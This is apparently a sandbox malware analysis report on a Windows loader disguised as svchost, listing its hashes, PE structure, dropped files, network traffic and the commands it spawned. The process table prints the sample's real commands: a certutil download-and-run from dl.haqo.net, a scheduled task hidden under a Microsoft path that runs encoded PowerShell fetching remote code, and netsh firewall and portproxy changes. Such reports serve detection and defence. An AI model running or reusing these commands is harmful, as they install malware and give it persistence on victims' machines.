| File name: | 728629752_svchost.exe.1.bin |
| Full analysis: | https://app.any.run/tasks/67c33235-08d4-478f-bc34-8983c345b0d0 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | March 21, 2019, 13:03:45 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (console) Intel 80386, for MS Windows |
| MD5: | D1A743FC40A7794558DB163A25DE524C |
| SHA1: | 476BFC40C6EA14135DB7B71ACC8F326D7ECEDD93 |
| SHA256: | 741878C13F5AA434884D4958A520324CA2AEFE38778E512972EC0DDA5DE42C4E |
| SSDEEP: | 98304:FiMEY7lu6X9VaD1NQmQbR1FQDSulPLeqNZ8hY/vKbxabdDkkQ/jYkZxQk6/+Vd7f:k0wGQomyCSulPKQ8hY/9kr/xGT/+VdlZ |
MALICIOUS
Loads the Task Scheduler COM API
- schtasks.exe (PID: 2916)
- schtasks.exe (PID: 680)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 604)
- cmd.exe (PID: 928)
Starts CertUtil for downloading files
- cmd.exe (PID: 1564)
Starts NET.EXE to view/add/change user profiles
- cmd.exe (PID: 1576)
- cmd.exe (PID: 1152)
Loads dropped or rewritten executable
- 728629752_svchost.exe.1.bin.exe (PID: 3584)
- WMIC.exe (PID: 2800)
SUSPICIOUS
Uses NETSH.EXE for network configuration
- cmd.exe (PID: 3896)
- cmd.exe (PID: 1576)
Executes PowerShell scripts
- 728629752_svchost.exe.1.bin.exe (PID: 3584)
Starts CMD.EXE for commands execution
- 728629752_svchost.exe.1.bin.exe (PID: 3584)
Loads Python modules
- 728629752_svchost.exe.1.bin.exe (PID: 3584)
Executable content was dropped or overwritten
- 728629752_svchost.exe.1.bin.exe (PID: 2560)
Uses IPCONFIG.EXE to discover IP address
- 728629752_svchost.exe.1.bin.exe (PID: 3584)
Uses WHOAMI.EXE to obtaining logged on user information
- powershell.exe (PID: 2840)
Uses NETSTAT.EXE to discover network connections
- 728629752_svchost.exe.1.bin.exe (PID: 3584)
Creates files in the user directory
- powershell.exe (PID: 2840)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (64.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.4) |
| .exe | | | Win32 Executable (generic) (10.5) |
| .exe | | | Generic Win/DOS Executable (4.6) |
| .exe | | | DOS Executable Generic (4.6) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2018:09:04 16:42:13+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 14 |
| CodeSize: | 128000 |
| InitializedDataSize: | 172032 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x779a |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows command line |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_CUI |
| Compilation Date: | 04-Sep-2018 14:42:13 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000108 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 6 |
| Time date stamp: | 04-Sep-2018 14:42:13 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0001F224 | 0x0001F400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.65269 |
.rdata | 0x00021000 | 0x0000B0EC | 0x0000B200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.10091 |
.data | 0x0002D000 | 0x0000E680 | 0x00000A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.94098 |
.gfids | 0x0003C000 | 0x000000B8 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 1.89006 |
.rsrc | 0x0003D000 | 0x0000EA38 | 0x0000EC00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 7.29706 |
.reloc | 0x0004C000 | 0x000017B8 | 0x00001800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.65088 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.58652 | 3752 | UNKNOWN | UNKNOWN | RT_ICON |
2 | 6.05629 | 2216 | UNKNOWN | UNKNOWN | RT_ICON |
3 | 5.5741 | 1384 | UNKNOWN | UNKNOWN | RT_ICON |
4 | 7.95079 | 37019 | UNKNOWN | UNKNOWN | RT_ICON |
5 | 5.29119 | 9640 | UNKNOWN | UNKNOWN | RT_ICON |
6 | 5.43869 | 4264 | UNKNOWN | UNKNOWN | RT_ICON |
7 | 5.89356 | 1128 | UNKNOWN | UNKNOWN | RT_ICON |
101 | 2.71858 | 104 | UNKNOWN | UNKNOWN | RT_GROUP_ICON |
Imports
KERNEL32.dll |
WS2_32.dll |
Total processes
61
Monitored processes
31
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 180 | net user | C:\Windows\system32\net.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 180 | netsh advfirewall firewall add rule name=denyy137 dir=in action=block protocol=TCP localport=137 | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 580 | netsh firewall add portopening tcp 65531 DNS | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 604 | cmd /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "C:\Users\admin\Downloads\728629752_svchost.exe.1.bin.exe" /F | C:\Windows\system32\cmd.exe | — | 728629752_svchost.exe.1.bin.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 680 | schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 928 | cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F | C:\Windows\system32\cmd.exe | — | 728629752_svchost.exe.1.bin.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1020 | cmd /c wmic ntdomain get domainname | C:\Windows\system32\cmd.exe | — | 728629752_svchost.exe.1.bin.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1096 | netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=54 | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1152 | cmd /c net user | C:\Windows\system32\cmd.exe | — | 728629752_svchost.exe.1.bin.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1564 | cmd /c certutil -urlcache -split -f http://dl.haqo.net/dll.exe?fr=eb c:\install.exe&&c:\install.exe | C:\Windows\system32\cmd.exe | — | 728629752_svchost.exe.1.bin.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2147954407 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
787
Read events
278
Write events
509
Delete events
0
Modification events
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-100 |
Value: DHCP Quarantine Enforcement Client | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-101 |
Value: Provides DHCP based enforcement for NAP | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-103 |
Value: 1.0 | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-102 |
Value: Microsoft Corporation | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-1 |
Value: IPsec Relying Party | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-2 |
Value: Provides IPsec based enforcement for Network Access Protection | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-4 |
Value: 1.0 | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-3 |
Value: Microsoft Corporation | |||
| (PID) Process: | (3116) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\tsgqec.dll,-100 |
Value: RD Gateway Quarantine Enforcement Client | |||
Executable files
25
Suspicious files
3
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\Crypto.Cipher._ARC4.pyd | executable | |
MD5:8D85DBF6C981BFF4E8A1BEA86A0AC5E9 | SHA256:356623219B8C098435D511C0055C061018641D8B700EB089FC6FF87D233260E1 | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\Crypto.Cipher._AES.pyd | executable | |
MD5:9FD78D7D6AB69AF5A14E0F29AFFD7EF4 | SHA256:87C920ED2C1AFCF295729563B4DEF671DC9E36EF8B3E183D4836571300180E74 | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\Crypto.Util._counter.pyd | executable | |
MD5:556BD0C831364879E75E873DA82DCCF8 | SHA256:A3C7473617025DE594F45EA4EB0B943F6E406935017D746DE2C310698E3C689D | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\Crypto.Random.OSRNG.winrandom.pyd | executable | |
MD5:731A6B82B8475E383DAC97B20AEAB7F7 | SHA256:D710B5A398DD0DC128129F3B035D459D6860B5C45CCC8EE2066069202B9D1F30 | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\Microsoft.VC90.CRT.manifest | xml | |
MD5:BFB93876892CCA8E2AD0021585C34C8B | SHA256:0D060ED7C25159B7B75F16D449963BFD639C15B3C5280BC7897403268C2B9F35 | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\Crypto.Util.strxor.pyd | executable | |
MD5:32DCE0579BD19FF24BD4A1ACCF5AFC73 | SHA256:2170B576F5F22D06E700E5570DC234FA5F77C7FE4AF8394F0DAC49566F9A8B40 | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\_hashlib.pyd | executable | |
MD5:22071845DAF8C1F6E87F006673EED4FD | SHA256:51C47389782BC2DE8E401D231233E2E7F1A4B3AFCE7DF4DDF4AD533184DAD407 | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\Crypto.Hash._MD4.pyd | executable | |
MD5:F98765AF6763CFE9ECE7136F14F88397 | SHA256:D722ED0EE7FEF1F30860F83B3FECFA089955CA0D6B522A379EFDC34F0401E321 | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\bz2.pyd | executable | |
MD5:0B1688C02640EC14D85E1CC3C93F7276 | SHA256:753EA279675EEB34FE58908F10CB15886955C865B49C01B533A5930E6B326038 | |||
| 2560 | 728629752_svchost.exe.1.bin.exe | C:\Users\admin\AppData\Local\Temp\_MEI25602\_socket.pyd | executable | |
MD5:B7C3E334648A6CBB03B550B842818409 | SHA256:F0781A1B879584F494D984E31869EAB13F0535825F68862E6597B1639DF708BD | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
3
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3584 | 728629752_svchost.exe.1.bin.exe | GET | 200 | 79.98.145.42:80 | http://ip.42.pl/raw | PL | text | 13 b | suspicious |
3584 | 728629752_svchost.exe.1.bin.exe | GET | 301 | 45.79.77.20:80 | http://jsonip.com/ | US | html | 194 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3584 | 728629752_svchost.exe.1.bin.exe | 79.98.145.42:80 | ip.42.pl | Nitronet Sp. z o.o. | PL | suspicious |
3584 | 728629752_svchost.exe.1.bin.exe | 45.79.77.20:80 | jsonip.com | Linode, LLC | US | suspicious |
3584 | 728629752_svchost.exe.1.bin.exe | 45.79.77.20:443 | jsonip.com | Linode, LLC | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
dl.haqo.net |
| malicious |
ip.42.pl |
| suspicious |
jsonip.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3584 | 728629752_svchost.exe.1.bin.exe | Attempted Information Leak | ET POLICY Python-urllib/ Suspicious User Agent |
3584 | 728629752_svchost.exe.1.bin.exe | Attempted Information Leak | ET POLICY Python-urllib/ Suspicious User Agent |
1 ETPRO signatures available at the full report